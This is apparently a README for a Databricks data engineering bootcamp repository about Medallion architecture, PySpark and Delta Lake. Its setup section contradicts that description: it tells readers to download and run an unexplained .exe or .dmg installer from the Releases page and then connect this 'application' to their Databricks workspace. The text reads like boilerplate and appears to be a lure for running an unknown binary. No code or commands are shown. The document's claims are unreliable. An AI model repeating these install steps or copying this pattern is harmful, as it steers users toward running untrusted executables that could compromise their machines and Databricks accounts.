dhs-coder

🛠️ databricks_bootcamp_2026 - Learn Data Engineering the Easy Way

📋 Overview

The databricks_bootcamp_2026 project is an end-to-end Data Lakehouse solution built on Databricks. It implements the Medallion Architecture, which includes Bronze, Silver, and Gold layers.

This project covers essential data engineering and analytics workflows using Spark, PySpark, SQL, Delta Lake, and Unity Catalog. It is designed for learners, helping you build your portfolio and prepare for job interviews in data-related fields.

🚀 Getting Started

Follow these steps to download and set up the application:

1. Check System Requirements:

   • Operating System: Windows 10, macOS, or a recent Linux distribution.
   • Additional Software: You will need the latest version of Java, Python, and Databricks account access.

2. Visit the Releases Page:

   Go to the Releases page to find the latest version of the application.

3. Download the Application:

   Click on the release version that matches your operating system. Depending on your selection, your download will start automatically.

4. Install the Application:

   After downloading, locate the downloaded file in your downloads folder:

   • For Windows, run the .exe file.
   • For macOS, open the .dmg file and drag the application to your Applications folder.
   • For Linux, follow the installation instructions included in the downloaded files.

5. Set Up Databricks Workspace:

   Create an account on Databricks and set up your workspace. Follow the Databricks documentation for step-by-step guidance.

6. Run the Application:

   Open the application you installed and connect it to your Databricks workspace. You’ll see a simple interface where you can run data engineering tasks.

🔍 Features

• Comprehensive Workflows: Experience complete data workflows from ingestion to reporting.
• Real-World Scenarios: Work with realistic data sets that simulate actual business cases.
• Bronze, Silver, Gold Architecture: Learn the Medallion approach to organizing data.
• User-Friendly Interface: Easy navigation designed for non-technical users.
• Hands-On Learning: Step-by-step exercises to solidify your understanding of data engineering concepts.

📥 Download & Install

To get started, simply visit the Releases page again to download the latest version. Follow the installation instructions provided above to ensure a smooth setup.

📚 Learning Resources

Here are some resources to help you understand the concepts better:

• Databricks Documentation: Databricks Documentation
• Spark Documentation: Apache Spark Documentation
• Delta Lake Documentation: Delta Lake Documentation
• Unity Catalog Documentation: Unity Catalog Documentation

🤝 Community Support

If you encounter any issues or have questions, consider joining our community discussions on platforms like:

• GitHub Issues: Report problems or ask questions directly in the issues section of this repository.
• Databricks Community: Engage with other data professionals on the Databricks Community.

💡 Tips for Success

• Explore Sample Notebooks: Utilize the sample notebooks provided in the repository to get hands-on experience.
• Practice Regularly: Engage with the tutorials and try to implement your own data pipelines.
• Ask Questions: Never hesitate to reach out to the community or use the available resources when stuck.

📈 Contributing

We welcome contributions! If you have suggestions or improvements for the project, feel free to submit a pull request. Check our contributing guidelines for more details.

Thank you for your interest in databricks_bootcamp_2026! We hope it helps you in your data engineering journey.